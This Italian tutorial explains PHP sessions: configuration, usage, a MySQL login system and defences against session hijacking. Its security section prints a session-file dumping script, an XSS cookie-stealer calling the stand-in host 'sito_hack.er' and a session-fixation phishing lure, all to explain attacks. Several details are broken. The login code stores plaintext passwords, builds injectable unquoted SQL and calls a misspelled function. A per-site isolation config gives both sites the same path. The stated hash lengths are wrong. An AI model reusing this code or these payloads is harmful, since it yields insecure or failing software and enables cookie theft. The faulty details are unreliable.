Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

Sessioni PHP: cosa sono, come si usano

Dalla configurazione di PHP, alla gestione delle sessioni in un database alla sicurezza: tutto quello che c'è da sapere sulle sessioni in PHP.
Dalla configurazione di PHP, alla gestione delle sessioni in un database alla sicurezza: tutto quello che c'è da sapere sulle sessioni in PHP.
Link copiato negli appunti

Com'è noto il protocollo HTTP che sovrintende tutte le connessioni web è stateless: non è in grado di tenere traccia di eventuali scelte o particolari dati trasmessi tra client e server. Per questa ragione in PHP è stato implementato un meccanismo di gestione delle sessioni, laddove per "sessione" si intendono tutte le interazioni avvenute tra browser e server fino alla chiusura del browser stesso.

In questo modo si potrà tenere traccia di eventuali precedenti scelte fatte dall'utente come, ad esempio, i prodotti scelti in un carrello oppure l'essersi loggato in un'area riservata.

In questo articolo cercheremo di fornire una panoramica completa sulle sessioni in PHP, iniziando dalle basi fino ad arrivare a configurazioni più complesse che riguardano database e altro.

Come funzionano le PHP session

Quando un client si connette al server per la prima volta, il motore delle sessioni del PHP genera un ID univoco e crea un file nel quale verranno salvate le "variabili di sessione" e che ha per nome quello stesso ID.  Insieme alla risposta al client viene inviato un "cookie di sessione" che ha per valore quell'ID.

In questo modo, ogni volta che un client presenterà una richiesta con quel cookie, il PHP saprà in quale file sono contenute la variabili relative a quella sessione ripristinandole.

Personalizzare le sessioni in PHP

L'uso delle sessioni in PHP oltre ad essere facile dal punto di vista del linguaggio è anche estremamente flessibile dal punto di vista delle scelte sul loro modo di funzionare. È possibile personalizzare sia le metodologie che strategie di gestione delle sessioni in moda da poterle memorizzare su DB, filesharing, APC e simili o memcache a seconda delle esigenze come vedremo.

Se non si vuole usare il cookie di sessione, è possibile far sì che il PHP aggiunga automaticamente l'id della sessione a tutti i link e ai form (sotto forma di campo nascosto) del nostro sito recuperandoli poi dal $_GET e $_POST sempre automaticamente. Questa è un'opzione è un retaggio delle vecchie versioni del PHP e fortemente sconsigliata dal punto di vista della sicurezza, come vedremo.

Le impostazioni delle sessioni

Prima di entrare nel dettaglio dell'uso delle sessioni, vediamo quali sono le principali impostazioni che ne modificano il comportamento.

Sono tutte modificabili agendo nella sezione [Session] del file di configurazione php.ini o da programma usando il comando ini_set(), oltre ad eventuali comandi specifici che vedremo successivamente.

Impostazione Valore di default Descrizione
session.use_cookies 1 Se impostato a 0, il cookie di sessione non viene trasmesso. In presenza di ID di sessione trasmessi sia via cookie sia via GET/POST, il PHP dà la precedenza a quello trasmesso via cookie.
session.use_trans_sid 0 Se impostato a 1 e session.use_cookies = 0 allora l'ID della sessione verrà automaticamente aggiunto nelle pagine dei vostri siti alle URL di tutti i link e ai form.
url_rewriter.tags Usato in abbinamento a session.use_trans_sid = 1 indica quali tag e relativo attributo contengono le URL a cui dovranno essere aggiunti gli estremi della sessione.
session.referer_check (stringa vuota) Può essere impostato per definire delle sottostringhe ammissibili nell'header "referer" per i client che si presentano con un ID di sessione. Può essere utile per escludere quelle richieste che arrivano presentando un cookie di sessione ma hanno un referer diverso dal nostro dominio (non sempre supportato nelle versioni di PHP precompilate per Windows).
session.use_only_cookies 1 Il valore di default va bene specie in presenza di session.use_cookies = 1. Se si trasmette un ID di sessione via GET/POST (ed in assenza di cookie di sessione) viene comunque lavorato come se fosse stato trasmesso via cookie; impostare questo parametro ad 1 riduce i rischi di intrusione nelle sessioni vincolando la trasmissione degli ID di sessione ai soli cookie.
session.cookie_lifetime 0 Indica la vita massima del cookie in secondi sul client. Se 0, appena il browser si chiude dovrebbe essere eliminato (il condizionale è d'obbligo visto che Explorer 8+ e Firefox non sempre li eliminano).
session.cookie_path / (root) Path del cookie di sessione.
session.cookie_httponly (disabilitato) È utile abilitarlo perché (ove consentito dai browser) impedisce a JavaScript di manipolare il cookie di sessione.
session.cookie_secure (disabilitato) Se abilitato il cookie di sessione viene creato solo su connessioni SSL.
session.auto_start (disattivato) Imposta l'avvio automatico delle sessioni per ogni script lanciato.
session.name PHPSESSID È il nome del cookie/parametro a cui viene associato l'ID di sessione, sarebbe buona norma cambiarlo, anzi usarne uno diverso per ogni sito ospitato sul nostro server.
session.hash_function 0 Lasciato a 0, indica l'MD5 come algoritmo da usare per la codifica del session. Questo algoritmo produce una stringa alfanumerica di 28 caratteri. Se impostato a 1, impone al codifiva con l'algoritmo SHA1 che produce stringhe da 32 caratteri. Dal PHP 5.3 è possibile scegliere tra molti altri algoritmi resi disponibili dall'estensione HASH il cui elenco è restituito sotto forma di array dalla funzione hash_algols().
session.hash_bits_per_character 4 Può assumere tre valori ed indica I possibili caratteri da usare nella costrizione dell'ID di sessione:

4 = a-f
5 = 0-9, a-v
6 = 0-9, a-z, A-Z, "-", ","
session.gc_maxlifetime 1440 (secondi) Il "Garbage Collector" (GC) è un'operazione di pulizia delle sessioni scadute che può venir lanciata all'apertura della sessione; questo parametro indica dopo quanti secondi dall'ultimo accesso le sessioni debbono essere considerate scadute.
session.gc_probability e session.gc_divisor 1 e 100 Su siti ad alta densità di sessioni la pulizia operata dal GC può essere laboriosa, per questo non viene eseguita sempre ma con probabilità pari a session.gc_probability / session.gc_divisor rapportata a 100. Di default il primo vale 1 ed il secondo 100, quindi il GC verrà avviato con probabilità 1% all'avvio di uno script. Impostandoli allo stesso valore la probabilità diventa 100% ed il GC verrà avviato ad ogni apertura di sessione.
session.save_path /tmp Indica il percorso da usare per il salvataggio dei dati di sessione. Va verificato sempre che i processi PHP abbiano i diritti di scrittura sul percorso indicato. Di default è /tmp ma è sempre bene cambiarla, nel caso di più server di cui si vogliano condividere le sessioni si può indicare qui una share di rete.
session.save_handler files Indica la metodologia di salvataggio dei dati delle sessioni. Se lasciamo il valore di default (files) i dati delle sessioni saranno salvati in file su disco, ma, avendo a disposizione un servizio RAM condivisa del tipo memcache, può essere impostato a memcache, previo opportuna rettifica di session.save_path.

Per fare un esempio del salvataggio delle sessioni su memcache facciamo conto che essa giri sulla porta 11211 del server 192.222.222.222, basterà cambiare queste due righe:

session.save_handler = memcache
session.save_path= "tcp://192.222.222.222:11211"

Come usare le PHP session

Le sessioni non sono automaticamente disponibili nei nostri script (se non specificato nel php.ini) ma vanno attivate. Questo perché, come detto, può essere oneroso aprire una sessione se poi non si usa. Il comando per attivare una sessione è session_start(), da invocare prima di ogni output interno o esterno al PHP.

Ad esempio questi due script:

<?php
echo "n";
session_start();
?>

<?php
session_start();
?>

Daranno questo Warning: Warning session_start(): Cannot send session cookie - headers already

Questo perché session_start(), nel caso si stia aprendo una nuova sessione, deve poter inviare il cookie di sessione al client attraverso l'header della risposta HTTP, ma nei due esempi proposti, prima del session_start viene sempre inviato in output un carattere di ritorno accapo (nel secondo caso è subdolamente presente prima dell'inizio del tag <?PHP) che provoca un flush implicito dell'header e l'impossibilità di poterlo modificare successivamente.

Anche questo script seppure corretto potrebbe portare ad un warning:

<?php
session_start();
?>

Questo inconveniente può intervenire quando uno script viene scritto con un editor che salva automaticamente tutto in UTF8 inserendo all'inizio dello script dei caratteri speciali; seppur invisibili sia nell'editor sia nel browser, questi caratteri verranno interpretati dal PHP come output lanciando egualmente l'errore.

Questo problema può essere risolto in quattro modi (dal più consigliato al meno consigliato; l'ultimo è sconsigliato):

  1. Maggior accortezza nella programmazione.
  2. Usare l'impostazione session.auto_start=1.
  3. Impostare nel file php.ini il parametro output_buffering = On (oppure un determinato valore in byte) e può anche incidere positivamente nella resa degli script.
  4. Disattivare i warning.

Una volta lanciato il session_start() viene creata una variabile superglobale $_SESSION, si tratta di un array che potete usare a piacimento sia in lettura che scrittura. Al termine dello script verrà salvata ed al successivo session_start() verrà ripristinata con i valori che aveva all'ultimo salvataggio.

Ecco un esempio:

<?php
$_SESSION['chiave']++;
echo $_SESSION['chiave'];
?>

Questo codice in realtà è errato in quanto non sfrutta la vera variabile superglobale $_SESSION e con l'effetto di ripristino dei valori precedenti, ma ne crea una definita dall'utente e quindi ogni volta che sarà invocato visualizzerà sempre 1.

<?php
session_start();
$_SESSION['chiave']++;
echo $_SESSION['chiave'];
?>

In questo caso invece, l'aver invocato session_start() farà sì che ad ogni esecuzione dello script il valore associato alla chiave 'chiave' dell'array $_SESSION (questa volta quello superglobale) verrà ripristinato al valore della precedente lancio e poi incrementato visualizzando così un numero sempre maggiore.

Il comando session_commit() (alias di session_write_close()), vi permette di forzare il salvataggio dei dati della sessione senza dover attendere la fine dello script, ma eventuali modifiche successive al commit non verranno più salvate automaticamente al termine dello script ne con ulteriori session_commit().

Attraverso il comando session_destroy() è possibile rimuovere tutto il contenuto della sessione, attenzione dopo aver invocato il comando la variabile $_SESSION rimarrà disponibile ed invariata ma al termine dello script nessun dato verrà salvato nella sessione ed al prossimo session_start() verrà ripristinata vuota.

Lievemente diverso è il funzionamento del comando session_unset(), questo infatti inizializza completamente la variabile $_SESSION e quindi l'effetto al termine dello script è il medesimo del session_destroy(), ma già dopo averlo invocato l'array $_SESSION risulta vuoto.

Nota per le sessioni con Ajax

Occorre tener presente che dal momento in cui si esegue un session_start() fino al session_commit() (o alla fine dello script), PHP tiene in lock esclusivo il file di sessione. Questo fa sì che se due script cercano di eseguire un session_start() operando sullo stessa sessione, il secondo ad essere eseguito dovrà attendere il rilascio del lock da parte del primo prima di proseguire con l'esecuzione.

Quest'osservazione non è peregrina perché se un sito usa delle chiamate AJAX per caricare le componenti HTML in parallelo ma gli script invocati non rilasciano la sessione con session_commit() il prima possibile, di fatto tutte le chiamate verranno serializzate dall'effetto di lock e, di conseguenza, le componenti grafiche caricate dinamicamente compariranno una dopo l'altra e non simultaneamente come desiderato.

Un esempio pratico

Abbiamo adesso gli strumenti necessari per realizzare un sistema di autenticazione e protezione degli script basato su sessioni e DB, in questo caso MySQL.

Innanzitutto creiamo una tabella con i nostri utenti da autenticare, per i quali prevediamo una login (che è anche chiave primaria), una password (che per semplicità memorizzeremo in chiaro), cognome,nome e data di nascita:

CREATE TABLE `utente` (
`login` varchar(16) NOT NULL,
`password` varchar(8) NOT NULL,
`cognome` varchar(50) NOT NULL,
`nome` varchar(50) NOT NULL,
`data_nascita` date NOT NULL,
PRIMARY KEY (`login`)
);

Quindi scriviamo una funzione effetua_login che riceve in input login e password e, se corretti, restituisce un array associativo con i dati dell'utente. Se non corretti, restituisce un array vuoto. Notare come questa funzione di fatto non opera sulle sessioni, ciò è voluto per sottolineare l'indipendenza delle sessioni rispetto alla metodologia memorizzazione e verifica delle login

/**
* Se login e password sono corrette restituisce un array
* associativo con i dati dell'utente ad eccezione della password
* @param string $login
* @param string $password
* @return array
*/
function effetua_login($login,$password) {
$login=mysql_real_escape_string($login);
$password=mysql_real_escape_string($password);
$rs=mysql_query("select cognome,nome,data_nascita from utente where login=$login and password=$password limit 1");
return (array) mysql_fetch_assoc($rs);
}

Una volta estratti i dati dell'utente loggato, occorrerà memorizzarli nella sessione per tenerne traccia. Incapsuliamo nella funzione login() tale operazione.

/**
* Tiene traccia nella sessione dei dati
* @param array $info array con i dati estratti dal DB relative
* all’utente loggato
*/
function login($info){
$_SESSION['my_test_loggedin']=$info;
}

Va sottolineato che l'intero array con i dati estratti dal DB verrà associato ad un'unica chiave di $_SESSION, peraltro neanche tanto intuitiva e questo per ridurre la probabilità di conflitti nella scelta delle chiavi di sessione.

Numero di chiavi di $_SESSION

È importante cercare di usare il minor numero di chiavi di $_SESSION e soprattutto dare a tali chiavi nomi non comuni, magari tutti preceduti dal medesimo prefisso. Cosa succederebbe se, in uno stesso sito su cui si lavora in più persone, un programmatore associasse a $_SESSION['totale'] l'importo totale di un carrello mentre un altro programmatore assegnasse a $_SESSION['totale'] il numero totale di post in bacheca di un utente e questo utente dopo esser passato per la bacheca andasse a vedere lo stato del suo carrello? Presumibilmente avrebbe un totale da pagare pari al numero di post in bacheca.

Notiamo inoltre che nel corpo della funzione login() non è presente il session_start(); questo perché non sappiamo in quale punto del programma verranno invocate le nostre funzioni quindi deve essere onere del programmatore decidere di invocare il session_start() al momento opportuno per evitare caricamenti doppi delle sessioni o Warning.

Dopo aver salvato le nostre funzioni in uno script che chiameremo utils.inc.php, ci manca solo il form di autenticazione, che non deve necessariamente essere uno script php, ma anche un semplice modulo html che chiameremo login.html.

<form action='autentica.php' method='post'>
<label for='login'>Login:</label>
<input type='text' name='login' id='login' /><br />
<label for='password'>Pass:</label>
<input type='password' name='password' id='password' /><br />
<input type='submit' value='entra' />
</form>

Notare che l'action del form invoca il file autentica.php che non abbiamo ancora scritto e che sarà semplicemente:

session_start();//avvia la sessione
mysql_connect(. . . . . .); //si connette al DB
include('utils.inc.php'); //include librerie
$utente=effettua_login($_POST['login'],
$_POST['password']); //verifica dati in post
if($utente==array()) //se utente è un array vuoto
{
header("Location: login.htm"); //torna al form di autenticazione
exit;
}
else {
login($utente); //memorizza in sessione i dati dell'utente
echo "Benvenuto {$utente[nome]}"; //visualizza benvenuto
}

A questo punto ci rimane da scrivere una funzione che verifichi che l'utente si sia loggato correttamente ed aggiungere poche righe agli script che vogliamo rendere riservati.

/**
* Se loggato restituisce l'array con i dati dell'utente
* altrimenti restituisce un array vuoto
* @return array|null
*/
function isLogged(){
return $_SESSION['my_test_loggedin'];
}

Questa funzione l'andremo ad aggiungere in utils.inc.php ed ecco come si presenterà la parte iniziale degli script che vorremo "proteggere"

<?
session_start();//avvia la sessione
include('utils.inc.php'); //include librerie
if(!isLogged())
{//se non è loggato torna al form e lo script termina
header("Location: login.htm");
exit;
}
//altrimenti è loggato e quindi lo script viene eseguito

Ancora una volta si è scelto di non integrare nella funzione di isLogged()le scelte funzionali come il reindirizzamento verso il form di autenticazione e questo perché in alcuni casi potrebbe non essere richiesto il reindirizzamento ma altro, ma anche perché a seconda dello script la pagina da reindirizzare potrebbe essere diversa; nulla però vieta di inglobare le righe:

if(!isLogged())
{//se non è loggato torna al form e lo script termina
header("Location: login.htm");
exit;
}

La sicurezza nelle sessioni PHP

Poiché le sessioni sono alla base dei sistemi di autenticazione, esse sono oggetto dei più disparati tentativi di intrusione.

Nella sessione è memorizzata la traccia dell’avvenuta autenticazione di un utente di un’area ad accesso riservato.
Riuscire ad impossessarsi di quella sessione potrebbe permettere ad un hacker di fingersi l’amministratore di un sito o il correntista di una banca eseguendo bonifici ed ordini online.

Basta infatti conoscere il session ID  di un utente loggato per inviare al server richieste con quello stesso cookie di sessione, affinché il server ci scambi a tutti gli effetti per l’utente in questione; questo, al netto dello User-Agent o dell’IP del client che possono essere manipolati e di cui comunque il PHP di norma non si occupa.

Questa operazione sfruttamento di sessioni altrui prende il nome di session hijacking e può essere svolta con tecniche diverse:

  1. Lettura dei dati di sessioni diverse dalla propria accedendo ai file di sessione di altri script.
  2. Induzione del browser ad inviare i propri cookie (tra cui quelli di sessione) a siti terzi tramite Javascript inserito abusivamente nelle pagine di un sito (detto Cross Site Scripting o XSS).
  3. Induzione di un utente ad eseguire login usando un SID (session ID) scelto dall’hacker (detta anche session fixation).
  4. Intercettazione del cookie di sessione tramite tecniche di sniffing sulla rete (detta anche session sidejacking).

Vediamo in dettaglio questi problemi (e le loro soluzioni).

Accesso alle sessioni di altri script

Non sempre si ha la possibilità di disporre di un server dedicato per i propri siti, e quindi ci si rivolge a servizi di hosting (spesso i più convenienti possibili). Ma un’errata configurazione del php.ini di tali server può permettere ad hacker di leggere le nostre sessioni sfruttando la debolezza di altri siti ospitati sul nostro stesso server.

Supponiamo che su un server configurato in modalità standard (quindi con tutte le sessioni salvate come file in una directory /tmp) risiedano un sito A di commercio elettronico ed un sito B di un negozio di alimentari fatto da un ragazzo inesperto. Nel caso in cui il sito B soffra di vulnerabilità quali il code injection un hacker potrebbe sfruttare il sito B per fargli eseguire la lettura di tutti file di sessione, tra cui quelli del sito A, ad esempio con questo codice:

<?php
foreach (scandir(ini_get('session.save_path')) as $sessione)
{
echo file_get_contents(ini_get('session.save_path').'/'.$sessione);
}
?>

Una prima soluzione a questo problema arriva dalla possibilità di personalizzare alcune impostazioni del php.ini in funzione del sito permettendo di diversificare il session.save_path.

Supponendo infatti che la web root del sito A sia /www/sites/A e quella del sito B sia /www/sites/B  al php.ini si potrebbero aggiungere queste righe per ottenere la separazione dei file di sessione dei due siti.

[PATH=/www/sites/A]
session.save_path ='/tmp/phpsessions/A'
[PATH=/www/sites/B]
session.save_path ='/tmp/phpsessions/A'

Un’opportuna gestione dei diritti di file system in modo di impedire lo "sconfinamento" di directory da parte degli script completerebbe poi il lavoro.

Ovviamente tutto questo nel caso di sessioni salvate su file system, nel caso in cui si usino sistemi di storage delle sessioni personalizzati come memcache il problema non si pone in quanto le primitive memcache non permettono di fare listing delle variabili, mentre se si salvano sessioni sul DB si potrà decidere di salvare le sessioni in tabelle e/o schemi diversi per singolo sito o su un’unica tabella con vincoli di accesso per gruppi di righe.

Cross Site Scripting

Il session hijacking è legato a tecniche di XSS  ed è chiaramente il frutto di debolezze degli applicativi web piuttosto che delle sessioni o dei server, se infatti un applicativo permette di modificare il contenuto di una pagina web vi si potrà inserire codice come questo:

<script>
var i=new Image();
//tutti i cookie vengono inviati in modo trasparente al server
//dell’hacker nel tentativo di caricare un’immagine che non esiste
i.src="http://sito_hack.er/cattura.php?cookie="+document.cookie;
</script>  

La contromisura contro questo tipo di attacchi è ovviamente quella di scrivere/usare codice pulito, ma ad ogni buon conto anche impostare session.cookie_httponly = 1 nel php.ini può essere d’aiuto.

Session fixation

Abbiamo detto che questa tecnica punta ad indurre un utente a loggarsi in un sistema utilizzando una session ID preimpostata e non assegnata dal server; la si può quindi vedere coma una sorta di attacco di phishing che invece di sfruttare "siti di facciata" sfrutta debolezze del server oggetto dell’attacco.

Se infatti un server, ad esempio quello di una banca, ha il parametro session.use_only_cookies  impostato a 0, per un hacker sarebbe sufficiente mandare una mail a tutti i possibili clienti di quella banca con un messaggio come questo:

"Attenzione il tuo credito sul conto corrente risulta movimentato in maniera anomala prego verificare che non ci siano operazioni di pagamento non autorizzate usando questo link: http://banca.it/login.php?PHPSESSID=123456"

Il malcapitato cliente, allarmato per i pericoli corsi dal proprio conto corrente, clicca sul link (che è poi quello corretto se si eccettua il parametro PHPSESSID) ed effettua tutte le verifiche del caso senza alcuna anomalia apparente.

In realtà però  tutta  la sua sessione viene memorizzata con il SID=123456 e quindi sarà molto semplice a questo punto presentarsi al server della banca con quel session ID ed operare al posto del cliente.

Per bloccare questo tipo di attacchi è sufficiente impostare nel php.ini:

session.use_only_cookies=1
session.use_cookies=1

… e per ulteriore sicurezza anche

session.referer_check='tuodominio.it'
session.use_trans_sid=0

Session sidejacking

Questo tipo di attacco è il più comune e subdolo in quanto non c’è modo per l’utente di notare anomalie (quali potrebbero essere le url con parametri inconsueti della session fixation), né ci sono valide contromisure a livello di configurazione del PHP.

In pratica mentre un utente autenticato sta lavorando, un hacker tramite uno sniffer ne legge il SID e lo usa per collegarsi a sua volta nel server. Spesso però tale uso non avviene immediatamente, perché alcune operazioni svolte in contemporanea potrebbero far notare all’utente la presenza di un intruso (magari vedendo il suo carrello di acquisti che si riempie a dismisura); l’hacker invece attende pazientemente che l’utente finisca di lavorare e, sfruttando la cattiva abitudine delle stragrande maggioranza degli utenti di chiudere semplicemente il browser al termine di una sessione di lavoro senza fare un logout corretto, si collega al suo posto continuando ad usare una sessione ancora valida.

Alcune soluzioni (che in certi casi sono dei veri e propri palliativi) contro questo tipo di attacchi sono quasi tutti da implementare sull’applicativo:

  • Introdurre meccanismi JavaScript che avviano un logout.php che esegue session_destroy() quando si abbandona il sito, che però non sempre potrebbe essere avviato o in alcuni casi potrebbe essere avviato erroneamente se l’utente apre due finestre della stessa sessione e ne chiude una
  • Ridurre i tempi di scadenza della sessione per concedere poco tempo all’hacker di intervenire quando si accorge che l’utente ha abbandonato il sito, che però spesso confligge con i desideri degli utenti che vogliono poter andare a prendere un caffè e tornare a lavorare senza dover reinserire password
  • Usare frequentemente il comando session_regenerate_id() per cambiare il SID, ma se l’hacker ha "sniffato" il primo SID,  potrà "sniffare" anche i successivi
  • Agganciare la sessione all’IP, e cioè se con lo stesso SID si presentano due IP diversi la sessione viene distrutta, ma se l’utente si collega da una postazione che usa diversi PROXY e per qualche ragione la sua connessione venisse passata da un PROXY ad un altro verrebbe considerato hacker, idem per un portatile connesso con pennetta HDSPA che si scollega e ricollega nell’arco di pochi secondi
  • Un’altra tecnica un po’ più raffinata è quella di assegnare un token (un numero progressivo o un codice casuale) ad ogni operazione dell’utente.
    In sostanza ogni volta che il server invia una pagina al browser genera un token diverso che trasmette sotto forma di cookie aggiuntivo al SID e che viene memorizzato nella sessione stessa. Quando il browser risponde, se il token trasmesso è uguale a quello memorizzato in sessione vuol dire che la sequenza delle transazioni è corretta altrimenti la sessione viene distrutta. Questo sistema funziona bene se l’hacker si trova ad entrare in contemporanea con l’utente (magari perché pensa che l’utente abbia smesso di lavorare ma semplicemente aveva fatto una pausa) perché ad un certo punto entrambi ricevono lo stesso token e quando uno dei due lo usa si possono verificare questi due casi:

    • Il token è stato usato dall’hacker e quando cerca di usarlo l’utente la sessione si brucia.
    • Il token è stato usato dall’utente e quando cerca di usarlo l’hacker la sessione si brucia.

    Il limite di questa tecnica sta nella lentezza dell’utente, prima che si verifichi l’evento A. l’hacker potrebbe aver eseguito tutta una sequenza di operazioni pericolosissime; per non parlare del fatto che se l’utente  ha effettivamente cessato di operare, l’hacker ha il pieno controllo del sistema come se non ci fosse il meccanismo di token attivo.

Evitare le session sidejacking

Obbiettivamente, l’unico modo per avere certezza che non venga effettuato session sidejacking è coprire il traffico tra client e server tramite SSL, ma anche in questo occorre avere la dovuta accortezza, se infatti si imposta un session ID fuori dalla SSL, quando il browser si collegherà in SSL continuerà ad usare lo stesso SID già passato in chiaro precedentemente. Conviene quindi eseguire un session_regenerate_id() ogni volta che si passa da HTTP a HTTPS e viceversa.

Ecco un esempio di come ottenere questo effetto, attraverso la memorizzazione in sessione di un’opportuna chiave HTTPS che tiene memoria dello stato della variabile d’ambiente $_SERVER['HTTPS'] nella chiamata precedente.

<?
session_start();
if($_SESSION['HTTPS']!=$_SERVER['HTTPS'])
{
session_regenerate_id(true); //il parametro a true garantisce la pulizia della sessione precedente
$_SESSION['HTTPS']=$_SERVER['HTTPS'];
}
... resto dello script ...
?>

Un ulteriore accorgimento, in merito alla sicurezza della sessione, è quello di fare molta attenzione a non inserire nell’HTML dei riferimenti a risorse esterne (es: immagini, CSS,  JavaScript) che puntino a sezioni del vostro sito non coperte da SSL, perché il browser le andrebbe a caricare in modo non protetto mostrando il SID.

Anche in questo caso, è pur vero che alcuni browser chiedono conferma all’utente prima di caricare questo tipo di risorse, ma è altrettanto vero che spesso l’utente non si rende conto dei rischio di confermare una scelta del genere, e d’altra parte il rifiuto potrebbe comportare cattive visualizzazioni o funzionamenti del sito.

Ti consigliamo anche